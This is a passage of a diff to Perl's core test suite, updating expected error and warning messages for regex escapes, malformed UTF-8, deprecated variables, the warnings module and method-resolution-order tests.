+qr/\N{U+100.1_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000 is not allowed; the permissible max is 0x7fffffff in regex; marked by <-- HERE in m/\N{U+100.1_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+.}
+my $p00="\\N{U+.}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+. <-- HERE }/ at - line 1.
+########
+# NAME \N{U+100.}
+my $p00="\\N{U+100.}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+100. <-- HERE }/ at - line 1.
+########
+# NAME \N{U+_100}
+my $p00="\\N{U+_100}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+_ <-- HERE 100}/ at - line 1.
+########
+# NAME \N{U+100_}
+my $p00="\\N{U+100_}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+100_ <-- HERE }/ at - line 1.
+########
+# NAME [\xDF\N{U+.}]
+# SKIP ? ord("A") != 65 && "Test valid only on ASCII machines"
+my $p00="[\\xDF\\N{U+.}]"; qr/$p00/ui;
+# The sharp s under /i recodes the parse, and this was causing a segfault when
+# the error message referred to the original pattern
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/[\xDF\N{U+. <-- HERE }]/ at - line 1.
+########
+# NAME [\x59\N{U+.}]
+# SKIP ? ord("A") == 65 && "Test valid only on EBCDIC machines"
+my $p00="[\\x59\\N{U+.}]"; qr/$p00/ui;
+# The sharp s under /i recodes the parse, and this was causing a segfault when
+# the error message referred to the original pattern
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/[\x59\N{U+. <-- HERE }]/ at - line 1.
+########
diff --git a/gnu/usr.bin/perl/t/lib/croak/toke_l1 b/gnu/usr.bin/perl/t/lib/croak/toke_l1
new file mode 100644
index 00000000000..6d656beb7ce
--- /dev/null
+++ b/gnu/usr.bin/perl/t/lib/croak/toke_l1
@@ -0,0 +1,22 @@
+# File is encoded in latin-1 so can have malformed-utf8
+__END__
+# NAME [perl #129037]
+BEGIN{{};$^H=-1}0Ã
+EXPECT
+Malformed UTF-8 character: \xc3\x0a (unexpected non-continuation byte 0x0a, immediately after start byte 0xc3; need 2 bytes, got 1) at - line 1.
+Malformed UTF-8 character (fatal) at - line 1.
+########
+# NAME [perl #129157]
+BEGIN {$^H {q} = sub {pop and-t write gmtime getpwuid @p }; $^H =-6**4,0*215}
+"@ust weÃÃÃÃÃÃÃÃÃÃÃtprotobyname"; "9 "Y=n {pop and-p[p };shmr [A
+ G----C
+EXPECT
+Malformed UTF-8 character: \xc3\xc3 (unexpected non-continuation byte 0xc3, immediately after start byte 0xc3; need 2 bytes, got 1) at - line 2.
+Malformed UTF-8 character (fatal) at - line 2.
+########
+# NAME [perl #130675]
+use utf8;y'0Á''
+EXPECT
+Malformed UTF-8 character: \xc1\x27 (unexpected non-continuation byte 0x27, immediately after start byte 0xc1; need 2 bytes, got 1) at - line 1.
+Malformed UTF-8 character: \xc1\x27 (any UTF-8 sequence that starts with "\xc1" is overlong which can and should be represented with a different, shorter sequence) at - line 1.
+Malformed UTF-8 character (fatal) at - line 1.
diff --git a/gnu/usr.bin/perl/t/lib/dbmt_common.pl b/gnu/usr.bin/perl/t/lib/dbmt_common.pl
index 5d4098c7350..60c66aeb33f 100644
--- a/gnu/usr.bin/perl/t/lib/dbmt_common.pl
+++ b/gnu/usr.bin/perl/t/lib/dbmt_common.pl
@@ -156,12 +156,11 @@ unlink <Op_dbmx*>, $Dfile;
use strict;
use warnings;
- use vars qw(@ISA @EXPORT);
require Exporter;
use %s;
- @ISA=qw(%s);
- @EXPORT = @%s::EXPORT;
+ our @ISA=qw(%s);
+ our @EXPORT = @%s::EXPORT;
sub STORE {
my $self = shift;
@@ -413,7 +412,7 @@ unlink <Op_dbmx*>, $Dfile;
}
{
- # Bug ID 20001013.009
+ # Bug ID 20001013.009 (#4434)
#
# test that $hash{KEY} = undef doesn't produce the warning
# Use of uninitialized value in null operation
diff --git a/gnu/usr.bin/perl/t/lib/overload_fallback.t b/gnu/usr.bin/perl/t/lib/overload_fallback.t
index 6b500424757..66722510de4 100755
--- a/gnu/usr.bin/perl/t/lib/overload_fallback.t
+++ b/gnu/usr.bin/perl/t/lib/overload_fallback.t
@@ -1,6 +1,12 @@
use warnings;
use strict;
-use Test::Simple tests => 2;
+
+BEGIN {
+ chdir 't' if -d 't';
+ @INC = '../lib';
+ require './test.pl';
+ plan(tests => 4);
+}
use overload '""' => sub { 'stringvalue' }, fallback => 1;
@@ -16,3 +22,27 @@ use overload '+' => sub { die "unused"; };
my $x = bless {}, 'main';
ok (eval {$x eq 'stringvalue'}, 'fallback worked again');
+TODO: {
+ local $::TODO = 'RT #43356: Autogeneration of ++ is incorrect';
+ fresh_perl_is(<<'EOC', '2', {}, 'RT #43356: Autogeneration of ++');
+use overload
+ "0+" => sub { ${$_[0]} },
+ "=" => sub { ${$_[0]} },
+ fallback => 1;
+my $value = bless \(my $dummy = 1), __PACKAGE__;
+print ++$value;
+EOC
+}
+
+{
+ my $warned = 0;
+ local $SIG{__WARN__} = sub { $warned++; };
+
+ eval q{
+ use overload '${}', 'fallback';
+ no overload '${}', 'fallback';
+ };
+
+ ok($warned == 0, 'no overload should not warn');
+}
+
diff --git a/gnu/usr.bin/perl/t/lib/warnings/2use b/gnu/usr.bin/perl/t/lib/warnings/2use
index c0d203a399d..a02505eff1d 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/2use
+++ b/gnu/usr.bin/perl/t/lib/warnings/2use
@@ -76,7 +76,7 @@ Reversed += operator at - line 3.
no warnings 'reserved' ;
foo.bar;
EXPECT
-Useless use of concatenation (.) or string in void context at - line 3.
+Useless use of a constant ("foobar") in void context at - line 3.
########
--FILE-- abc
@@ -365,8 +365,8 @@ $*;
use warnings "void";
$#;
EXPECT
-$* is no longer supported at - line 3.
-$# is no longer supported at - line 5.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 3.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 5.
Useless use of a variable in void context at - line 5.
########
@@ -375,5 +375,5 @@ $*;
no warnings "void";
$#;
EXPECT
-$* is no longer supported at - line 3.
-$# is no longer supported at - line 5.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 3.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 5.
diff --git a/gnu/usr.bin/perl/t/lib/warnings/9enabled b/gnu/usr.bin/perl/t/lib/warnings/9enabled
index 60b7c48da30..3e0bcba7e4c 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/9enabled
+++ b/gnu/usr.bin/perl/t/lib/warnings/9enabled
@@ -1,4 +1,5 @@
-Check warnings::enabled & warnings::warn
+Check warnings::enabled, warnings::warn and other functionality of
+warnings.pm.
__END__
@@ -883,10 +884,10 @@ def abc43 enabled
def all enabled
abc43 self not enabled
abc43 def enabled
-abc43 all not enabled
+abc43 all enabled
def self enabled
def abc43 not enabled
-def all not enabled
+def all enabled
########
-w
--FILE-- abc44.pm
@@ -1291,7 +1292,7 @@ ok2
--FILE-- fatal4.pm
package fatal4 ;
no warnings ;
-print "ok1\n" if !warnings::fatal_enabled('all') ;
+print "ok1\n" if warnings::fatal_enabled('all') ;
print "ok2\n" if warnings::fatal_enabled("void") ;
print "ok3\n" if !warnings::fatal_enabled("syntax") ;
1;
@@ -1302,3 +1303,173 @@ EXPECT
ok1
ok2
ok3
+########
+{ Quux::quux(); }
+{ no warnings; Quux::quux(); }
+{ no warnings; use warnings "void"; Quux::quux(); }
+{ use warnings; Quux::quux(); }
+{ use warnings; no warnings "void"; Quux::quux(); }
+use warnings ();
+BEGIN { warnings::register_categories(qw(wibble wobble wabble wubble webble)); }
+package Quux {
+ sub quux {
+ warnings::warnif($_, "My $_ is flanged")
+ foreach qw(wibble wobble wabble wubble webble);
+ ();
+ }
+}
+{ Quux::quux(); }
+{ no warnings; Quux::quux(); }
+{ no warnings; use warnings "void"; Quux::quux(); }
+{ use warnings; Quux::quux(); }
+{ use warnings; no warnings "void"; Quux::quux(); }
+{ no warnings; use warnings qw(wibble wabble webble); Quux::quux(); }
+{ no warnings; use warnings qw(wobble wubble); Quux::quux(); }
+{ use warnings; no warnings qw(wibble wabble webble); Quux::quux(); }
+{ use warnings; no warnings qw(wobble wubble); Quux::quux(); }
+{ use warnings qw(wubble NONFATAL void); Quux::quux(); }
+{ use warnings qw(wubble); no warnings "void"; Quux::quux(); }
+{ no warnings "webble"; Quux::quux(); }
+{ use warnings qw(NONFATAL webble); Quux::quux(); }
+print "done\n";
+EXPECT
+My wibble is flanged at - line 4.
+My wobble is flanged at - line 4.
+My wabble is flanged at - line 4.
+My wubble is flanged at - line 4.
+My webble is flanged at - line 4.
+My wibble is flanged at - line 5.
+My wobble is flanged at - line 5.
+My wabble is flanged at - line 5.
+My wubble is flanged at - line 5.
+My webble is flanged at - line 5.
+My wibble is flanged at - line 18.
+My wobble is flanged at - line 18.
+My wabble is flanged at - line 18.
+My wubble is flanged at - line 18.
+My webble is flanged at - line 18.
+My wibble is flanged at - line 19.
+My wobble is flanged at - line 19.
+My wabble is flanged at - line 19.
+My wubble is flanged at - line 19.
+My webble is flanged at - line 19.
+My wibble is flanged at - line 20.
+My wabble is flanged at - line 20.
+My webble is flanged at - line 20.
+My wobble is flanged at - line 21.
+My wubble is flanged at - line 21.
+My wobble is flanged at - line 22.
+My wubble is flanged at - line 22.
+My wibble is flanged at - line 23.
+My wabble is flanged at - line 23.
+My webble is flanged at - line 23.
+My wubble is flanged at - line 24.
+My wubble is flanged at - line 25.
+My webble is flanged at - line 27.
+done
+########
+# NAME _at_level
+select STDERR;
+{ use warnings "utf8"; foo() }
+sub foo { use warnings "syntax"; bar() }
+sub bar {
+ use warnings "unpack";
+ local $\="\n";
+ print "1. ", warnings::enabled_at_level("unpack", 0)||0;
+ print "2. ", warnings::enabled_at_level("unpack", 1)||0;
+ print "3. ", warnings::enabled_at_level("unpack", 2)||0;
+ print "4. ", warnings::enabled_at_level("syntax", 0)||0;
+ print "5. ", warnings::enabled_at_level("syntax", 1)||0;
+ print "6. ", warnings::enabled_at_level("syntax", 2)||0;
+ print "7. ", warnings::enabled_at_level("utf8", 0)||0;
+ print "8. ", warnings::enabled_at_level("utf8", 1)||0;
+ print "9. ", warnings::enabled_at_level("utf8", 2)||0;
+ warnings::warn_at_level ("misc",0,"A mandatory foo warning");
+ warnings::warn_at_level ("misc",1,"A mandatory top-level warning");
+ warnings::warnif_at_level("syntax",0,"A conditional syntax warning");
+ warnings::warnif_at_level("syntax",1,"A conditional syntax warning");
+ warnings::warnif_at_level("utf8",0,"A conditional utf8 warning");
+ warnings::warnif_at_level("utf8",1,"A conditional utf8 warning");
+}
+{ use warnings "syntax"; use warnings FATAL => "utf8"; foo2() }
+sub foo2 {
+ use warnings FATAL => "syntax"; use warnings "utf8"; bar2()
+}
+sub bar2 {
+ $\="\n";
+ print "10. ", warnings::fatal_enabled_at_level("syntax", 0)||0;
+ print "11. ", warnings::fatal_enabled_at_level("syntax", 1)||0;
+ print "12. ", warnings::fatal_enabled_at_level("utf8", 0)||0;
+ print "13. ", warnings::fatal_enabled_at_level("utf8", 1)||0;
+ undef $\;
+ eval { warnings::warn_at_level ("syntax",1,"A fatal warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("syntax",1,"A fatal syntax warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("syntax",2,"A syntax warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("utf8",1,"A utf8 warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("utf8",2,"A fatal utf8 warning") };
+ print "Died: $@" if $@;
+}
+EXPECT
+1. 0
+2. 0
+3. 0
+4. 1
+5. 0
+6. 0
+7. 0
+8. 1
+9. 0
+A mandatory foo warning at - line 3.
+A mandatory top-level warning at - line 2.
+A conditional syntax warning at - line 3.
+A conditional utf8 warning at - line 2.
+10. 1
+11. 0
+12. 0
+13. 1
+Died: A fatal warning at - line 25.
+Died: A fatal syntax warning at - line 25.
+A syntax warning at - line 23.
+A utf8 warning at - line 25.
+Died: A fatal utf8 warning at - line 23.
+########
+# NAME _at_level with filehandle
+use warnings;
+# Create temp file for testing handles.
+open oUt, ">tmp" or die $!;
+print oUt "foo\nbar\n";
+close oUt;
+sub bimp {
+ open FH, "tmp";
+ <FH>; <FH>;
+ warnings::warn_at_level("syntax", 0, "Foo warning");
+ close FH;
+ warnings::warn_at_level("syntax", 0, "Bar warning");
+};
+bimp;
+EXPECT
+Foo warning at - line 13, <FH> line 2.
+Bar warning at - line 13.
+########
+# NAME _at_level with chunky filehandle
+use warnings;
+# Create temp file for testing handles.
+open oUt, ">tmp" or die $!;
+print oUt "foo7bar7";
+close oUt;
+sub bimp {
+ open FH, "tmp";
+ $/ = 7;
+ <FH>; <FH>;
+ warnings::warn_at_level("syntax", 0, "Foo warning");
+ close FH;
+ warnings::warn_at_level("syntax", 0, "Bar warning");
+};
+bimp;
+EXPECT
+Foo warning at - line 14, <FH> chunk 2.
+Bar warning at - line 14.
diff --git a/gnu/usr.bin/perl/t/lib/warnings/gv b/gnu/usr.bin/perl/t/lib/warnings/gv
index f3334456887..122e4904e48 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/gv
+++ b/gnu/usr.bin/perl/t/lib/warnings/gv
@@ -3,11 +3,6 @@
Can't locate package %s for @%s::ISA
@ISA = qw(Fred); joe()
- Use of inherited AUTOLOAD for non-method %s::%.*s() is deprecated
- sub Other::AUTOLOAD { 1 } sub Other::fred {}
- @ISA = qw(Other) ;
- fred() ;
-
$# is no longer supported
$* is no longer supported
@@ -37,32 +32,14 @@ EXPECT
Undefined subroutine &main::joe called at - line 3.
########
# gv.c
-sub Other::AUTOLOAD { 1 } sub Other::fred {}
-@ISA = qw(Other) ;
-use warnings 'deprecated' ;
-fred() ;
-EXPECT
-Use of inherited AUTOLOAD for non-method main::fred() is deprecated at - line 5.
-########
-# gv.c
-use utf8;
-use open qw( :utf8 :std );
-sub Oᕞʀ::AUTOLOAD { 1 } sub Oᕞʀ::fᕃƌ {}
-@ISA = qw(Oᕞʀ) ;
-use warnings 'deprecated' ;
-fᕃƌ() ;
-EXPECT
-Use of inherited AUTOLOAD for non-method main::fᕃƌ() is deprecated at - line 7.
-########
-# gv.c
$a = ${"#"};
$a = ${"*"};
no warnings 'deprecated' ;
$a = ${"#"};
$a = ${"*"};
EXPECT
-$# is no longer supported at - line 2.
-$* is no longer supported at - line 3.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 2.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 3.
########
# gv.c
$a = ${#};
@@ -71,8 +48,8 @@ no warnings 'deprecated' ;
$a = ${#};
$a = ${*};
EXPECT
-$# is no longer supported at - line 2.
-$* is no longer supported at - line 3.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 2.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 3.
########
# gv.c
$a = $#;
@@ -89,12 +66,12 @@ $* = $a;
$a = \$#;
$a = \$*;
EXPECT
-$# is no longer supported at - line 2.
-$* is no longer supported at - line 3.
-$# is no longer supported at - line 4.
-$* is no longer supported at - line 5.
-$# is no longer supported at - line 6.
-$* is no longer supported at - line 7.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 2.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 3.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 4.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 5.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 6.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 7.
########
# gv.c
@a = @#;
@@ -102,8 +79,8 @@ $* is no longer supported at - line 7.
$a = $#;
$a = $*;
EXPECT
-$# is no longer supported at - line 4.
-$* is no longer supported at - line 5.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 4.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 5.
########
# gv.c
$a = $#;
@@ -111,8 +88,14 @@ $a = $*;
@a = @#;
@a = @*;
EXPECT
-$# is no longer supported at - line 2.
-$* is no longer supported at - line 3.
+$# is no longer supported. Its use will be fatal in Perl 5.30 at - line 2.
+$* is no longer supported. Its use will be fatal in Perl 5.30 at - line 3.
+########
+# gv.c
+$a = ${^ENCODING};
+$a = ${^E_NCODING};
+${^E_NCODING} = 1; # We pretend this variable never existed.
+EXPECT
########
# gv.c
use warnings 'syntax' ;
diff --git a/gnu/usr.bin/perl/t/lib/warnings/pad b/gnu/usr.bin/perl/t/lib/warnings/pad
index 4e31fe338b9..bd8e9c0675e 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/pad
+++ b/gnu/usr.bin/perl/t/lib/warnings/pad
@@ -29,7 +29,7 @@
__END__
# pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
my $x ;
my $x ;
my $y = my $y ;
@@ -37,7 +37,7 @@ my $p ;
package X ;
my $p ;
package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
my $x ;
my $y ;
my $p ;
@@ -47,7 +47,7 @@ EXPECT
"my" variable $p masks earlier declaration in same scope at - line 8.
########
# pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
our $x ;
my $x ;
our $y = my $y ;
@@ -55,7 +55,7 @@ our $p ;
package X ;
my $p ;
package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
our $z ;
my $z ;
our $t = my $t ;
@@ -68,7 +68,7 @@ EXPECT
"my" variable $p masks earlier declaration in same scope at - line 8.
########
# pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
my $x ;
our $x ;
my $y = our $y ;
@@ -76,7 +76,7 @@ my $p ;
package X ;
our $p ;
package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
my $z ;
our $z ;
my $t = our $t ;
@@ -234,7 +234,7 @@ our $y;
sub { $x = $y }->(); # should not warn about $y being unavailable
EXPECT
########
-use warnings 'misc' ;
+use warnings 'shadow' ;
my $x;
{
my $x;
@@ -242,7 +242,7 @@ my $x;
EXPECT
########
# pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
our $x ;
our $x ;
our $y = our $y ;
@@ -250,7 +250,7 @@ our $p ;
package X ;
our $p ;
package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
our $a ;
our $a ;
our $b = our $b ;
@@ -261,13 +261,13 @@ EXPECT
"our" variable $x redeclared at - line 4.
"our" variable $y redeclared at - line 5.
########
-use warnings 'misc' ;
+use warnings 'shadow' ;
our $x;
{
our $x;
}
our $x;
-no warnings 'misc' ;
+no warnings 'shadow' ;
our $y;
{
our $y;
@@ -278,36 +278,36 @@ EXPECT
(Did you mean "local" instead of "our"?)
"our" variable $x redeclared at - line 6.
########
-use warnings 'misc' ;
+use warnings 'shadow' ;
our $x;
{
my $x;
}
-no warnings 'misc' ;
+no warnings 'shadow' ;
our $y;
{
my $y;
}
EXPECT
########
-use warnings 'misc' ;
+use warnings 'shadow' ;
my $x;
{
our $x;
}
-no warnings 'misc' ;
+no warnings 'shadow' ;
my $y;
{
our $y;
}
EXPECT
########
-use warnings 'misc' ;
+use warnings 'shadow' ;
my $x;
{
my $x;
}
-no warnings 'misc' ;
+no warnings 'shadow' ;
my $y;
{
my $y;
@@ -320,13 +320,13 @@ use warnings;
our $x unless $x;
EXPECT
########
-use warnings 'misc';
+use warnings 'shadow';
our $qunckkk;
our $_;
package clank_est;
our $qunckkk;
our $_;
-no warnings 'misc';
+no warnings 'shadow';
our $ouch;
our $_;
package whack;
@@ -335,7 +335,7 @@ our $_;
EXPECT
"our" variable $_ redeclared at - line 6.
########
-use warnings 'misc';
+use warnings 'shadow';
BEGIN { binmode STDERR, 'utf8'; }
{
use utf8;
@@ -345,7 +345,7 @@ BEGIN { binmode STDERR, 'utf8'; }
EXPECT
"my" variable $ニコニコ masks earlier declaration in same scope at - line 6.
########
-use warnings 'misc';
+use warnings 'shadow';
BEGIN { binmode STDERR, 'utf8'; }
{
use utf8;
diff --git a/gnu/usr.bin/perl/t/lib/warnings/perl b/gnu/usr.bin/perl/t/lib/warnings/perl
index e5acc6ce917..9a30f60e07c 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/perl
+++ b/gnu/usr.bin/perl/t/lib/warnings/perl
@@ -47,6 +47,20 @@ $0; # and
$123; # numbers
$_; # and
$_foo; # underscores (none of which should warn)
+@DB::args
+EXPECT
+########
+-w
+# perl.c
+print # avoid void warning
+$\, # test a few
+$:, # punct vars
+$0, # and
+$123, # numbers
+$_, # and
+$_foo, # underscores (none of which should warn)
+@DB::args
+if 0;
EXPECT
########
-W
diff --git a/gnu/usr.bin/perl/t/lib/warnings/pp_ctl b/gnu/usr.bin/perl/t/lib/warnings/pp_ctl
index 9b3f2982e41..37dd4f1b7e9 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/pp_ctl
+++ b/gnu/usr.bin/perl/t/lib/warnings/pp_ctl
@@ -251,3 +251,16 @@ EXPECT
use warnings;
eval 'use 5.006; use 5.10.0';
EXPECT
+########
+# SKIP ? !$Config{default_inc_includes_dot}
+# NAME check warning for do with no . in @INC
+open my $fh, ">", "dounknown";
+close $fh;
+do "dounknown";
+do "./dounknown";
+no warnings 'deprecated';
+do "dounknown";
+do "./dounknown";
+unlink "dounknown";
+EXPECT
+do "dounknown" failed, '.' is no longer in @INC; did you mean do "./dounknown" at - line 3.
diff --git a/gnu/usr.bin/perl/t/lib/warnings/pp_pack b/gnu/usr.bin/perl/t/lib/warnings/pp_pack
index 62ae3a9a89e..29ab0ac9910 100644
--- a/gnu/usr.bin/perl/t/lib/warnings/pp_pack
+++ b/gnu/usr.bin/perl/t/lib/warnings/pp_pack
@@ -21,38 +21,18 @@ EXPECT
Invalid type ',' in unpack at - line 4.
Invalid type ',' in pack at - line 5.
########
-# pp.c
-use warnings 'uninitialized' ;
-my $a = undef ;
-my $b = $$a;
-no warnings 'uninitialized' ;
-my $c = $$a;
-EXPECT
-Use of uninitialized value $a in scalar dereference at - line 4.
-########
# pp_pack.c
use warnings 'pack' ;
sub foo { my $a = "a"; return $a . $a++ . $a++ }
my $a = pack("p", &foo) ;
+@a = "foo";
+sub bar { pop @{\@_}, pack "p", $a[0] } # This should *not* warn, even
+bar(@a); # though $a[0] is SvTEMP.
no warnings 'pack' ;
my $b = pack("p", &foo) ;
EXPECT
Attempt to pack pointer to temporary value at - line 4.
########
-# pp.c
-use warnings 'misc' ;
-bless \[], "" ;
-no warnings 'misc' ;
-bless \[], "" ;
-EXPECT
-Explicit blessing to '' (assuming package main) at - line 3.
-########
-# pp.c
-use utf8 ;
-$_ = "\x80 \xff" ;
-reverse ;
-EXPECT
-########
# pp_pack.c
use warnings 'pack' ;
print unpack("C", pack("C", -1)), "\n",
diff --git a/gnu/usr.bin/perl/t/mro/isa_c3.t b/gnu/usr.bin/perl/t/mro/isa_c3.t
index 20ae5f09b45..ecec0a5938f 100755
--- a/gnu/usr.bin/perl/t/mro/isa_c3.t
+++ b/gnu/usr.bin/perl/t/mro/isa_c3.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require "./test.pl";
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/isa_c3_utf8.t b/gnu/usr.bin/perl/t/mro/isa_c3_utf8.t
index 3e2e7a999cb..431e7395672 100644
--- a/gnu/usr.bin/perl/t/mro/isa_c3_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/isa_c3_utf8.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require "./test.pl";
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/isa_dfs.t b/gnu/usr.bin/perl/t/mro/isa_dfs.t
index 77c122ea746..e32ed756fb1 100755
--- a/gnu/usr.bin/perl/t/mro/isa_dfs.t
+++ b/gnu/usr.bin/perl/t/mro/isa_dfs.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require "./test.pl";
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/isa_dfs_utf8.t b/gnu/usr.bin/perl/t/mro/isa_dfs_utf8.t
index 1c95eaa58e0..6fa0b59eceb 100644
--- a/gnu/usr.bin/perl/t/mro/isa_dfs_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/isa_dfs_utf8.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require "./test.pl";
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/isarev_utf8.t b/gnu/usr.bin/perl/t/mro/isarev_utf8.t
index dff3058ee65..61f7cf37cbe 100644
--- a/gnu/usr.bin/perl/t/mro/isarev_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/isarev_utf8.t
@@ -3,9 +3,9 @@
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
require q(./test.pl);
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/next_inanon.t b/gnu/usr.bin/perl/t/mro/next_inanon.t
index b6f0451611c..4c3c007d6e3 100644
--- a/gnu/usr.bin/perl/t/mro/next_inanon.t
+++ b/gnu/usr.bin/perl/t/mro/next_inanon.t
@@ -13,26 +13,26 @@ anonymous subroutine.
=cut
{
- package A;
+ package AA;
use mro 'c3';
sub foo {
- return 'A::foo';
+ return 'AA::foo';
}
sub bar {
- return 'A::bar';
+ return 'AA::bar';
}
}
{
- package B;
- use base 'A';
+ package BB;
+ use base 'AA';
use mro 'c3';
sub foo {
my $code = sub {
- return 'B::foo => ' . (shift)->next::method();
+ return 'BB::foo => ' . (shift)->next::method();
};
return (shift)->$code;
}
@@ -40,7 +40,7 @@ anonymous subroutine.
sub bar {
my $code1 = sub {
my $code2 = sub {
- return 'B::bar => ' . (shift)->next::method();
+ return 'BB::bar => ' . (shift)->next::method();
};
return (shift)->$code2;
};
@@ -48,10 +48,10 @@ anonymous subroutine.
}
}
-is(B->foo, "B::foo => A::foo",
+is(BB->foo, "BB::foo => AA::foo",
'method resolved inside anonymous sub');
-is(B->bar, "B::bar => A::bar",
+is(BB->bar, "BB::bar => AA::bar",
'method resolved inside nested anonymous subs');
diff --git a/gnu/usr.bin/perl/t/mro/next_ineval.t b/gnu/usr.bin/perl/t/mro/next_ineval.t
index f8c13a64139..14a49b1c6bb 100644
--- a/gnu/usr.bin/perl/t/mro/next_ineval.t
+++ b/gnu/usr.bin/perl/t/mro/next_ineval.t
@@ -12,23 +12,23 @@ This tests the use of an eval{} block to wrap a next::method call.
=cut
{
- package A;
+ package AA;
use mro 'c3';
sub foo {
- die 'A::foo died';
- return 'A::foo succeeded';
+ die 'AA::foo died';
+ return 'AA::foo succeeded';
}
}
{
- package B;
- use base 'A';
+ package BB;
+ use base 'AA';
use mro 'c3';
sub foo {
eval {
- return 'B::foo => ' . (shift)->next::method();
+ return 'BB::foo => ' . (shift)->next::method();
};
if ($@) {
@@ -37,8 +37,8 @@ This tests the use of an eval{} block to wrap a next::method call.
}
}
-like(B->foo,
- qr/^A::foo died/,
+like(BB->foo,
+ qr/^AA::foo died/,
'method resolved inside eval{}');
diff --git a/gnu/usr.bin/perl/t/mro/overload_c3.t b/gnu/usr.bin/perl/t/mro/overload_c3.t
index db2b1ec6600..0ba1509502f 100644
--- a/gnu/usr.bin/perl/t/mro/overload_c3.t
+++ b/gnu/usr.bin/perl/t/mro/overload_c3.t
@@ -5,11 +5,12 @@ use warnings;
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
+ require q(./test.pl);
+ set_up_inc('../lib');
}
-require q(./test.pl); plan(tests => 7);
+plan(tests => 7);
{
package BaseTest;
diff --git a/gnu/usr.bin/perl/t/mro/overload_c3_utf8.t b/gnu/usr.bin/perl/t/mro/overload_c3_utf8.t
index bcb9f70c779..3981cbe42c8 100644
--- a/gnu/usr.bin/perl/t/mro/overload_c3_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/overload_c3_utf8.t
@@ -5,14 +5,15 @@ use warnings;
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
+ require q(./test.pl);
+ set_up_inc('../lib');
}
use utf8;
use open qw( :utf8 :std );
-require q(./test.pl); plan(tests => 7);
+plan(tests => 7);
{
package 밧e텟ʇ;
diff --git a/gnu/usr.bin/perl/t/mro/overload_dfs.t b/gnu/usr.bin/perl/t/mro/overload_dfs.t
index 5943c855db0..00d2753939c 100644
--- a/gnu/usr.bin/perl/t/mro/overload_dfs.t
+++ b/gnu/usr.bin/perl/t/mro/overload_dfs.t
@@ -5,11 +5,12 @@ use warnings;
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
+ require q(./test.pl);
+ set_up_inc('../lib');
}
-require q(./test.pl); plan(tests => 7);
+plan(tests => 7);
{
package BaseTest;
diff --git a/gnu/usr.bin/perl/t/mro/package_aliases.t b/gnu/usr.bin/perl/t/mro/package_aliases.t
index 6998a892963..dd811a62f88 100755
--- a/gnu/usr.bin/perl/t/mro/package_aliases.t
+++ b/gnu/usr.bin/perl/t/mro/package_aliases.t
@@ -3,9 +3,9 @@
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
